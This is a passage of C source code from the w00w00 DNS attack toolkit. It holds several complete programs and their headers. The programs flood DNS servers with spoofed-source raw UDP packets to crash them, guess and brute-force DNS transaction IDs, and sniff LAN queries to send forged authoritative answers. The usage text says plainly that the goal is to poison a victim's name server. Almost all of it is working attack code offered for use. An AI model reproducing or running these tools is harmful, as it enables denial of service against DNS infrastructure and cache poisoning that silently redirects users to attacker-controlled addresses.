     printf("Usage: %s <host>\n", argv[0]); 
     printf("w00w00 DNS Attack - WSD@w00w00.org\n");
     exit(0);
  }
	
  dns  = (struct dnshdr  *)buf;
  data = (char *)(buf+12);
  bzero(buf, sizeof(buf));

  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
  
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }

  printf("WSD-baddns %s: DNS attack - w00w00 Security Development (WSD)\n",
         VERSION);

  sleep(1);

  s_ip = host2ip("100.1.2.3");
  d_ip = host2ip(argv[1]);
       
  dns->id      = 123;
  dns->rd      = 1;
  dns->que_num = htons(1);
      
  while(1) {            
     sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
             myrand(), myrand(), myrand(), myrand());        

     printf("%s\n", names);
     strcpy(data,   names);

     *((u_short *) (data+strlen(names)+1)) = ntohs(12);
     *((u_short *) (data+strlen(names)+3)) = ntohs(1);

     udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buf, 14+strlen(names)+5);

     s_ip = ntohl(s_ip);
     s_ip++;
     s_ip = htonl(s_ip);   
              
  }
}
----[END of WSD-baddns.c]----



----[WSDkillDNS.c ]----
/* *********************************************** */
/* w00w00 DNS Killer (Brutal attack)               */
/* ----------------------------------------------- */
/* Email: WSD@w00w00.org 		           */
/* WWW: http://www.w00w00.org                      */
/* FTP: ftp://ftp.w00w00.org/pub                   */
/* *********************************************** */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"

#define   ERROR    -1
#define   ID_START  1
#define   ID_STOP   65535
#define   VERSION   "v0.3"
#define   PORT_START 53
#define   PORT_STOP  54

void main(int argc, char **argv)
{
  struct   dnshdr *dns;
     
  char *data;
  char buffer2[4000];
  unsigned char names[255];    
     
  unsigned long s_ip, s_ip2;
  unsigned long d_ip, d_ip2;
     
  int sraw, i, on=1, x, loop;
  int idstart, idstop, portstart, portstop;

  printf("w00w00!\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("WSD@w00w00.org\n");
  
  if (argc < 5) {
     system("/usr/bin/clear");

     printf("w00w00!\n");
     printf("w00w00 Security Development (WSD)\n");
     printf("WSD@w00w00.org\n\n");
     printf(" Usage : %s <ip src> <ip dst>  <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
     printf(" ip src: ip source of the dns anwser\n");
     printf(" ip dst: ip of the dns victim\n");
     printf(" name  : spoof name i.e.: www.dede.com\n");
     printf(" ip    : the ip associated with the name\n");
     printf(" options:\n");
     printf(" [A,B,N]...\n");
     printf(" A: flood the DNS victim with multiple queries\n");
     printf(" B: DoS attack to crash the DNS\n");
     printf(" N: No attacks\n\n");
     printf(" [ID_START]            \n");
     printf(" ID_START: id start :> \n\n");
     printf(" [ID_STOP]             n");
     printf(" ID_STOP : id stop :>  \n\n");
     printf(" PORT START, PORT STOP: send the spoof to the portstart at portstop\n\n");

     exit(ERROR);
  }
    
  dns  = (struct dnshdr  *)buffer2;
  data = (char *)(buffer2+DNSHDRSIZE);
  bzero(buffer2, sizeof(buffer2));
 
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
   
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR){
    perror("setsockopt");
    exit(ERROR);
  }
 
  printf("WSDkillDNS %s \n", VERSION); 

  s_ip2 = s_ip = host2ip(argv[1]);
  d_ip2 = d_ip = host2ip(argv[2]);


  if (argc > 5)
     if (*argv[5]=='A')
        for (loop=0; loop < 10; loop++) {
           dns->id      = 6000+loop;
           dns->qr      = 0;
           dns->rd      = 1;
           dns->aa      = 0;
           dns->que_num = htons(1);
           dns->rep_num = htons(0);
       
           i = makepacketQS(data, argv[3], TYPE_A); 
           udp_send(sraw, s_ip, d_ip, 1200+loop, 53, buffer2, DNSHDRSIZE+i);
       
           s_ip = ntohl(s_ip);
           s_ip++;
           s_ip = htonl(s_ip);
       
        }
   
  if (argc > 5)
     if (*argv[5]=='B') {
  	s_ip = host2ip("100.1.2.3");

        dns->id      = 123;
        dns->rd      = 1;
        dns->que_num = htons(1);
             
	printf("Enter the number of packets to send: ");
        scanf("%d",&i);         
     
        for (x = 0; x < i; x++) {            
           sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
                   myrand(), myrand(), myrand(), myrand());        

           strcpy(data, names);
               
           *((u_short *) (data+strlen(names)+1)) = ntohs(12);
           *((u_short *) (data+strlen(names)+3)) = ntohs(1);
                  
           udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buffer2,
                    14+strlen(names)+5);
                  
           s_ip = ntohl(s_ip);
           s_ip++;
           s_ip = htonl(s_ip);   

           printf("send packet # %i:%i\n", x, i);   
        }
     } 
   
  if (argc > 6) idstart = atoi(argv[6]);
  else idstart = ID_START;

  if (argc > 7) idstop = atoi(argv[7]);
  else idstop = ID_STOP;
  
  if (argc > 8) {
     portstart = atoi(argv[8]);
     portstop  = atoi(argv[9]);
  } else {
     portstart = PORT_START;
     portstop  = PORT_STOP;
  }
           

  bzero(buffer2, sizeof(buffer2));
  bzero(names,   sizeof(names));

  i = 0 , x = 0;
  s_ip = s_ip2, d_ip = d_ip2;

  for (; idstart < idstop; idstart++) {
      dns->id      = htons(idstart);
      dns->qr      = 1;
      dns->rd      = 1;
      dns->aa      = 1;
      dns->que_num = htons(1);
      dns->rep_num = htons(1);
       
      (void) printf("send awnser with id %i to port %i at port %i\n",
       	   	    idstart, portstart, portstop);
       		                                          
       i = makepacketAW(data, argv[3], argv[4], TYPE_A);
       
       for (; x < portstop; x++)
          udp_send(sraw, s_ip, d_ip, 53, x, buffer2, DNSHDRSIZE+i);
       
       x = portstart;
  }  
 
  printf(" terminated..\n");
}
----[END of WSDkillDNS.c ]----


----[WSD-IDpred.c ]----
/* ******************************************************* */
/*  w00w00 DNS ID Predictor                      Super Raw */
/* ------------------------------------------------------- */
/* Email: WSD@w00w00.org                                   */
/* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
/* ******************************************************* */

#include <fcntl.h>
#include "dns.h"
#include "WSD-spoof.c"
#include "WSD-DNS2.c"

#define  ERROR      -1
#define  DNSHDRSIZE 12
#define  TIMEOUT    300
#define  VERSION    "v0.7"
#define  SPOOFIP    "4.4.4.4"
#define  UNDASPOOF  "111.111.111.111"
#define  LEN        sizeof(struct sockaddr)


void usage()
{
  printf("w00w00 DNS ID Predictor\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("WSD@w00w00.org\n");

  printf(" WSD-idpred <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n"); 
  printf("\n Ex: WSD-idpred ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
  printf(" We are going to poison ns.victim.com so they resolve mouhhahaha.hol.fr in 31.3.3.7\n");
  printf(" We use provnet.fr and ns1.provnet for finding the ID of ns.victim.com\n");
  printf(" We use ns.isdnet.net for spoofing because they have AUTH on *.hol.fr\n");
  printf(" For more information check ftp.w00w00.org/pub/DNS/\n");
  printf(" Mail WSD@w00w00.org.\n");

  exit(ERROR); 
}  

void senddnspkt(s, d_ip, wwwname, ip, dns)
  int s;
  u_long d_ip;
  char *wwwname;
  char *ip;
  struct dnshdr *dns;
{
  int i;
  
  char buffer[1024];
  char *data = (char *)(buffer+DNSHDRSIZE);
 
  struct sockaddr_in sin;
 
  bzero(buffer, sizeof(buffer));
  memcpy(buffer, dns, DNSHDRSIZE);

  if (dns->qr == 0) {
     i = makepacketQS(data, wwwname, TYPE_A);
     sin.sin_family = AF_INET;
     sin.sin_port   = htons(53);
     sin.sin_addr.s_addr = d_ip;
     sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  } else {
     i = makepacketAW(data, wwwname, ip, TYPE_A);
     sin.sin_family = AF_INET;
     sin.sin_port   = htons(53);
     sin.sin_addr.s_addr = d_ip;
     sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  }

}
                    
void dns_qs_no_rd(s, d_ip, wwwname, ID)
  int s;
  u_long d_ip;
  char *wwwname;
  int ID;
{
  int i;

  char *data;
  char buffer[1024];

  struct dnshdr *dns;

  dns  = (struct dnshdr *)buffer;
  data = (char *)(buffer+DNSHDRSIZE);

  bzero(buffer, sizeof(buffer));

  dns->id      = htons(ID);
  dns->qr      = 0;
  dns->rd      = 0; /* dont want the recursion !! */
  dns->aa      = 0;
  dns->que_num = htons(1);
  dns->rep_num = htons(0);
 
  i = makepacketQS(data, wwwname, TYPE_A);
  senddnspkt(s, d_ip, wwwname, NULL, dns);
}
                                  
void main(int argc, char **argv)
{
  struct sockaddr_in sin_rcp;
  struct dnshdr *dns, *dns_recv;

  int len = sizeof(struct sockaddr);
  int sraw, s_r, i, on = 1, x, ID, times;

  char *alacon;
  char host[256];
  char dnstrust[256];
  char *data, *data2;
  char buf[4000], buf1[4000];
  char spoofname[256], spoofip[256];

  unsigned char fakename[256];
  unsigned char names[256];    
  unsigned long s_ip,  s_ip2;
  unsigned long d_ip,  d_ip2, trust;
  unsigned int  DA_ID = 65535, loop = 65535;                      
 

  dns_recv = (struct dnshdr *)(buf1);
  data2    = (char *)(buf1+DNSHDRSIZE);
  dns      = (struct dnshdr *)buf;
  data     = (char *)(buf+DNSHDRSIZE);
 
  bzero(buf, sizeof(buf));
  srand(time(NULL));
        
  printf("w00w00 DNS ID Predictor\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("WSD@w00w00.org\n");

  s_r = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (s_r == ERROR) {
     perror("socket");
     exit(ERROR);
  }  

  if ((fcntl(s_r, F_SETFL, O_NONBLOCK)) == ERROR) {
     perror("fcntl");
     exit(ERROR);
  }      
         
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
    
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))
	== ERROR)) {
     perror("setsockopt");
     exit(ERROR);
  }
 
  if (argc < 2) usage();
  if (argc > 9) DA_ID = loop = atoi(argv[9]);  
  if (argc > 6) {
     if (strlen(argv[6]) > sizeof(spoofname) - 1) {
        fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
        exit(ERROR);
     } else 
        strcpy(spoofname, argv[6]);
  } else {
     printf("Enter the name you want spoof: ");
     scanf("%255s", spoofname);
  }

  if (argc > 7) strncpy (host, argv[7], sizeof(host));
  else {
     printf("Enter the IP address of the spoof name: ");
     scanf("%255s", host);
  }
  
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(spoofip, alacon);
    
  if (argc > 8) {
     if (strlen(argv[8]) > sizeof(host) - 1) {
	fprintf(stderr, "argv[8] too long: %s\n", argv[8]);
        exit(ERROR);
     } else
        strcpy(host, argv[8]);
  } else {
     printf("Enter the trusted NS of the victim: ");
     scanf("%255s", host);
  }
  
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(dnstrust, alacon);
                       
  printf("WSD-IDpred %s w00w00 (WSD) - Super Raw\n", VERSION); 

  /* save some arguments */ 
  s_ip2 = host2ip(argv[1]);
  trust = host2ip(argv[2]);
  s_ip  = host2ip(UNDASPOOF);
  d_ip2 = d_ip = host2ip(argv[4]);

  if (strlen(argv[3]) > sizeof(fakename) - 1) {
     fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
     exit(ERROR);
  }

  while(1) {      
     sprintf(fakename, "%d%d%d%d%d%d.%s", myrand(), myrand(), myrand(),
             myrand(), myrand(), myrand(), argv[3]);

     sendquestion(s_ip, d_ip, fakename, TYPE_A);
             
     /* end of question packet */
     bzero(buf,   sizeof(buf)); /* re-init some variable */
     bzero(names, sizeof(names)); 

     i = 0, x = 0;

    /* Here we start the spoof anwser */
    ID = loop;
    for (; loop >= ID-10; loop--) {
       dns->id = htons(loop);
       dns->qr = 1;
       dns->rd = 1;
       dns->aa = 1;
       dns->que_num = htons(1);
       dns->rep_num = htons(1);
                                                 
       i = makepacketAW(data, fakename, SPOOFIP, TYPE_A);
       udp_send(sraw, trust, d_ip2, 53, 53, buf, DNSHDRSIZE+i);
    }
 
    bzero(buf,   sizeof(buf)); /* re-init some variable */
    bzero(names, sizeof(names));
    i = 0, x = 0;
             
    /* Time for the test spoof */

    /* Here we sending question, nonrecursive */
    dns_qs_no_rd(s_r, d_ip2, fakename, myrand()); 
     
    /* We are waiting for answer ... */
    while (1) {    
       for (times = 0; times < TIMEOUT; times++) {
          if (recvfrom(s_r, buf1, sizeof(buf1), 0,
                   (struct sockaddr *)&sin_rcp,&len) != ERROR) {
             printf("We have the response.\n");
             times = 0;
             break;
          }

          usleep(10);
          times++;
       }

       if (times != 0) {
          printf("We have no response from the NS. Resend question..\n");
          dns_qs_no_rd(s_r, d_ip2, fakename, myrand());
       } else break;
    }
 
    /* Okay we have an answer */
    printf("fakename = %s\n", fakename);

    if (sin_rcp.sin_addr.s_addr == d_ip2)
       if (sin_rcp.sin_port == htons(53))
          if (dns_recv->qr == 1) {
             if (dns_recv->rep_num == 0) /* We dont have the right ID */
                printf("Try %d < ID < %d\n", ID-10, ID);
         
             else {
                /* The spoof has worked, we have found the right ID! */
                printf("the DNS ID of %s is %d < ID < %d!!\n",
                        argv[4], loop-10, loop);

                printf("Let's send the spoof...\n");
                dnsspoof(dnstrust, argv[4], spoofname, spoofip, loop,
                         atoi(argv[5]));          
                printf("spoof sent...\n");

                exit(0);
             }                  
          }

    bzero(buf1, sizeof(buf1));    
           
    } 

}
----[END of WSD-IDpred.c]----

----[ WSDspoofID.c ]----
/* ******************************************************* */
/* w00w00 DNS ID Spoofer                        Super Raw  */
/* w00w00 Security Development (WSD)			   */
/* ------------------------------------------------------- */
/* Email: WSD@w00w00.org				   */
/* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
/* ******************************************************* */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"
#include <pcap.h>
#include <net/if.h>

#define  ERROR -1
#define  DNSHDRSIZE 12
#define  VERSION "v0.6"
#define  SPOOF "127.0.0.1"       

int ETHHDRSIZE;
                     
void main(int argc, char **argv)
{
  int sraw, i, on=1, con, ID, DA_ID, type;

  struct iphdr  *ip;
  struct udphdr *udp;
  struct dnshdr *dnsrecv, *dnssend;

  struct pcap *pcap_d;
  struct pcap_pkthdr h;

  char *buf;
  char *alacon;
  char host[256];
  char ebuf[256];
  char buf1[1024];
  char namefake[256];
  char dnstrust[256];
  char *data, *data2;
  char spoofip[256], spoofname[256];

  unsigned long d_ip;                     
  unsigned long s_ipns;
	 

  srand((time(NULL) % random() * random()));


  printf("w00w00 DNS ID Spoofer - Super Raw!\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("WSD@w00w00.org\n");

  if (argc < 2) {
     printf("Usage: %s <device> <ns.victim.com> <your domain> <IP of your NS> <type 1,12> <spoofname> <spoof ip> <ns trust>\n",argv[0]); 
     printf("Example: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr\n",argv[0]);
     printf(" So... we try to poison victim.com with type 12 (PTR). Now, if someone asked for the ip of mail.provnet.fr they will resolve to damn.diz.ip.iz.ereet.ya\n"); 
     
     exit(1);
  }

  if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
  else ETHHDRSIZE = 14;

  if (argc > 5) type = atoi(argv[5]);
  if (argc > 6) {
     if (strlen(argv[6]) > sizeof(spoofname) - 1) {
        fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
        exit(ERROR);
     } else 
        strcpy(spoofname, argv[6]);
  } else {
     printf("Enter the name you want to spoof: ");
     scanf("%255s", spoofname);
  }
 
  if (argc > 7) {
     if (strlen(argv[7]) > sizeof(host) - 1) {
        fprintf(stderr, "argv[7] too long: %s\n", argv[7]);
        exit(ERROR);
     } else
        strcpy(host, argv[7]);
  } else {
     printf("Enter the IP of the name to spoof: ");
     scanf("%255s", host);
  }
                               
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(spoofip, alacon);
                                   
  if (argc > 8) strncpy (host, argv[8], sizeof(host));
  else {
     printf("Enter the trusted dns for the spoof: ");
     scanf("%255s", host);
  }

  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(dnstrust, alacon);
   
  dnssend = (struct dnshdr *)buf1;
  data2   = (char *)(buf1+DNSHDRSIZE);

  bzero(buf1, sizeof(buf1));
    
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
  
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }
 
  printf("WSDspoofID.c %s w00w00 ID sniffer\n", VERSION);
  printf("w00w00 Security Development\n");
  sleep(1);
 
  pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);

  s_ipns = host2ip(argv[4]);
  d_ip   = host2ip(argv[2]);
  con    = myrand();

  /* Make the question to get the ID */

  sprintf(namefake, "%d%d%d.%s", myrand(), myrand(), myrand(), argv[3]); 

  dnssend->id = 2600;
  dnssend->qr = 0;
  dnssend->rd = 1;
  dnssend->aa = 0;
  dnssend->que_num = htons(1);
  dnssend->rep_num = htons(0);

  i = makepacketQS(data2, namefake, TYPE_A);
  udp_send(sraw, s_ipns, d_ip,2600+con, 53, buf1, DNSHDRSIZE+i);

  printf("Question sent...please wait\n");

  while(1) { 
     buf = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */  
  
     ip      = (struct iphdr   *)(buf+ETHHDRSIZE);
     udp     = (struct udphdr  *)(buf+ETHHDRSIZE+IPHDRSIZE);
     dnsrecv = (struct dnshdr  *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
     data    = (char *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

     if (ip->protocol == IPPROTO_UDP) {
        printf("[%s:%d ->", (char *)inet_ntoa(ip->saddr), ntohs(udp->source));
        printf("%s:%d]\n",  (char *)inet_ntoa(ip->daddr), ntohs(udp->dest));
     }

     if (ip->protocol == 17)     
        if (ip->saddr.s_addr  == d_ip)
           if (ip->daddr.s_addr == s_ipns) 
              if (udp->dest  == htons(53))
                 if (dnsrecv->qr == 0) {
                    printf("We have the packet!\n");
             
                    ID = dnsrecv->id; /* We have the id. */
             
                     printf("the current id of %s is %d \n", argv[2],
                            ntohs(ID));
             
                     DA_ID = ntohs(ID);
           
                     printf("Sending the spoof...\n");
                     dnsspoof(dnstrust, argv[2], spoofname, spoofip,
                              DA_ID,type); 
           
                     printf("Spoof sent...\n");
                    
                     exit(0);
                 }    
  }
 
} 
----[END of WSDspoofID.c ]----


----[WSDsniffID.c]----
/* ******************************************************* */
/* w00w00 LAN ID Sniffer 	                Super Raw  */
/* ------------------------------------------------------- */
/* w00w00 Security Development (WSD)			   */
/* Email: WSD@w00w00.org				   */
/* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
/* ******************************************************* */

#include <pcap.h>

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"

#define  ERROR	    -1                
#define  DNSHDRSIZE 12    
#define  VERSION    "v0.4" 

int ETHHDRSIZE;

void usage() {
  printf("Usage: WSDsniffID <device> <IP> <name> <type of spoof[1,12]>\n");
  printf("Example: WSDsniffID eth0 \"127.0.0.1\" \"www.its.me.com\"\n");
  printf("Raw-Powa (WSD)\n");
  
  exit(ERROR);
}       

                     
void main(int argc, char **argv)
{   
  int sraw, on = 1, tmp1, type;
     
  char *buffer;
  char *data, *data2;

  struct pcap *pcap_d;
  struct pcap_pkthdr h;
   
  struct iphdr  *ip;
  struct udphdr *udp;
  struct dnshdr *dnsrecv, *dnssend;

   char host[255];
   char tmp2[255];
   char ebuf[255];
   char buffer2[1024];    
   char spoofip[255], spoofname[255];
   
   unsigned char names[255];

	 
   printf("w00w00 LAN ID SNIFFER! Super Raw\n");
   printf("w00w00 Security Development (WSD)\n");
   printf("WSD@w00w00.org\n");
                                 
	 
   if (argc < 2) usage();
   if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
    else ETHHDRSIZE = 14; 

   if (strlen(argv[2]) > sizeof(spoofip) - 1) {
      fprintf(stderr, "argv[2] too long: %s\n", argv[2]);
      exit(ERROR);
   }	

   if (strlen(argv[3]) > sizeof(spoofip) - 1) {
      fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
      exit(ERROR);
   }	

   strcpy(spoofip, argv[2]);
   strcpy(spoofname, argv[3]);
   type = atoi(argv[4]);
  
   dnssend = (struct dnshdr  *)buffer2;
   data2   = (char *)(buffer2+12);
 
   bzero(host,    sizeof(host));
   bzero(buffer2, sizeof(buffer2));
   
  
   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if (sraw == ERROR) {
      perror("socket");
      exit(ERROR);
   }

  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) 
        == ERROR) {
    perror("setsockopt");
    exit(ERROR);
  }    
 
  /* open pcap descriptor */
  pcap_d = pcap_open_live(argv[1], sizeof(buffer), 0, 100, ebuf);
 
  while(1) {    
     buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */
      
     ip      = (struct iphdr   *)(buffer+ETHHDRSIZE);
     udp     = (struct udphdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE);
     dnsrecv = (struct dnshdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
     data    = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

     if (ip->protocol == 17)
        if (udp->dest == htons(53))    
           if (dnsrecv->qr == 0) {
              strcpy(names, data); 
              nameformat(names, host);
         
              printf("We have a DNS question from %s, which wants: %s!\n",
                     (char *)inet_ntoa(ip->saddr), host);
                                           
              bzero(host, sizeof(host));

              printf("The question has a type %d "
                     "and type of the query is %d\n",
                     ntohs(*((u_short *)(data+strlen(data)+1))), 
                     ntohs(*((u_short *)(data+strlen(data)+2+1))));
        
              printf("Making the spoofed packet...\n");
                 
              /* Here we are going to start making the spoofed packet */
       
              memcpy(dnssend, dnsrecv, DNSHDRSIZE+strlen(names)+5);
       
              dnssend->id=dnsrecv->id;     /* The ID               */   
              dnssend->aa=1;  		   /* I have the authority */ 
	      dnssend->ra=1;               /* I have the recusion  */
              dnssend->qr=1;               /* It's an answer       */
              dnssend->rep_num = htons(1); /* I have one awnser    */

            
              printf("ID = %d, Number of question = %d, "
                     "number of anwser = %d\n",
                     dnssend->id, ntohs(dnssend->que_num), 
                     ntohs(dnssend->rep_num));  

              printf("Question..\n");
              printf("domainename = %s\n", data2);
              printf("type of question = %d\n", 
                     ntohs(*((u_short *)(data2+strlen(names)+1))));
              printf("type of query = %d\n",
                     ntohs(*((u_short *)(data2+strlen(names)+1+2))));
     
             if (type == TYPE_PTR) { 
                tmp1 = strlen(names)+5;
                strcpy(data2+tmp1, names);
                tmp1 = tmp1+strlen(names)+1;                            
        
                bzero(tmp2, sizeof(tmp2));
                nameformat(spoofname, tmp2); 
          
                *((u_short *)(data2+tmp1))       = htons(TYPE_PTR);   
                *((u_short *)(data2+tmp1+2))     = htons(1);
                *((u_long  *)(data2+tmp1+2+2))   = htonl(86400);
                *((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1));
     
                strcpy((data2+tmp1+2+2+4+2), tmp2);
      
                tmp1 = tmp1 +strlen(tmp2)+ 1;
             }
      
             if (type == TYPE_A) {
                tmp1 = strlen(names)+5;
                strcpy(data2+tmp1, names);
                tmp1 = tmp1+strlen(names)+1;
                *((u_short *)(data2+tmp1))         = htons(TYPE_A);
                *((u_short *)(data2+tmp1+2))       = htons(1);
                *((u_long  *)(data2+tmp1+2+2))     = htonl(86400);      
                *((u_short *)(data2+tmp1+2+2+4))   = htons(4);
                *((u_long  *)(data2+tmp1+2+2+4+2)) = host2ip(spoofip);
             }
                        
             printf("Answer..\n");
      	     printf("domainname = %s\n", tmp2);
             printf("type = %d\n", ntohs(*((u_short   *)(data2+tmp1))));
             printf("classe = %d\n", ntohs(*((u_short *)(data2+tmp1+2))));
             printf("time to live = %lu\n", 
                   ntohl(*((u_long *)(data2+tmp1+2+2))));
             printf("resource data length = %d\n", 
                   ntohs(*((u_short *)(data2+tmp1+2+2+4))));

             printf("IP = %s\n", 
                   (char *)inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
    
             /* Now tmp1 == the total length of packet dns without the */
             /* dnshdr.			                               */
             tmp1 = tmp1+2+2+4+2+4; 
          
             udp_send(sraw, ip->daddr, ip->saddr, ntohs(udp->dest),
                      ntohs(udp->source), buffer2, DNSHDRSIZE+tmp1);
           }
  }
}
----[END of WSDsniffID.c ]----


----[udp.h ]----
struct udphdr {
   u_short source;  /* source port      */
   u_short dest;    /* destination port */
   u_short len;	    /* udp length       */
   u_short check;   /* udp checksum     */
};
----[END of udp.h]----

----[ dns.h ]---- 
#define DNSHDRSIZE 12
   
struct dnshdr {
unsigned short int id;

unsigned char  rd:1;           
unsigned char  tc:1;           
unsigned char  aa:1;           
unsigned char  opcode:4;       
unsigned char  qr:1;          

unsigned char  rcode:4;        
unsigned char  unused:2;       
unsigned char  pr:1;           
unsigned char  ra:1;           

unsigned short int que_num;
unsigned short int rep_num;
unsigned short int num_rr;
unsigned short int num_rrsup;
};
----[ END of dns.h ]----


----[ ip.h ]----
/* adapted from tcpdump */

#ifndef IPVERSION
  #define IPVERSION 4
#endif  /* IPVERISON */

struct iphdr {
  u_char  ihl:4,	/* header length */
          version:4;	/* version */
  u_char  tos;		/* type of service */
  short   tot_len;	/* total length */
  u_short id;		/* identification */
  short   off;		/* fragment offset field */
#define IP_DF   0x4000	/* dont fragment flag */
#define IP_MF   0x2000	/* more fragments flag */
  u_char  ttl;		/* time to live */
  u_char  protocol;	/* protocol */
  u_short check;	/* checksum */
  struct  in_addr saddr, daddr;  /* source and dest address */
};

#ifndef IP_MAXPACKET
  #define IP_MAXPACKET 65535
#endif  /* IP_MAXPACKET */

----[ END of ip.h ]----

----[bpf.h]----
/*-
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
 *	The Regents of the University of California.  All rights reserved.
 *
 * This code is derived from the Stanford/CMU enet packet filter,
 * (net/enet.c) distributed as part of 4.3BSD, and code contributed
 * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence 
 * Berkeley Laboratory.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by the University of
 *      California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *      @(#)bpf.h       7.1 (Berkeley) 5/7/91
 *
 * @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL)
 */

#ifndef BPF_MAJOR_VERSION

/* BSD style release date */
#define BPF_RELEASE 199606

typedef	int bpf_int32;
typedef	u_int bpf_u_int32;

/*
 * Alignment macros.  BPF_WORDALIGN rounds up to the next 
 * even multiple of BPF_ALIGNMENT. 
 */
#define BPF_ALIGNMENT sizeof(bpf_int32)
#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))

#define BPF_MAXINSNS 512
#define BPF_MAXBUFSIZE 0x8000
#define BPF_MINBUFSIZE 32

/*
 *  Structure for BIOCSETF.
 */
struct bpf_program {
	u_int bf_len;
	struct bpf_insn *bf_insns;
};
 
/*
 * Struct returned by BIOCGSTATS.
 */
struct bpf_stat {
	u_int bs_recv;		/* number of packets received */
	u_int bs_drop;		/* number of packets dropped */
};

/*
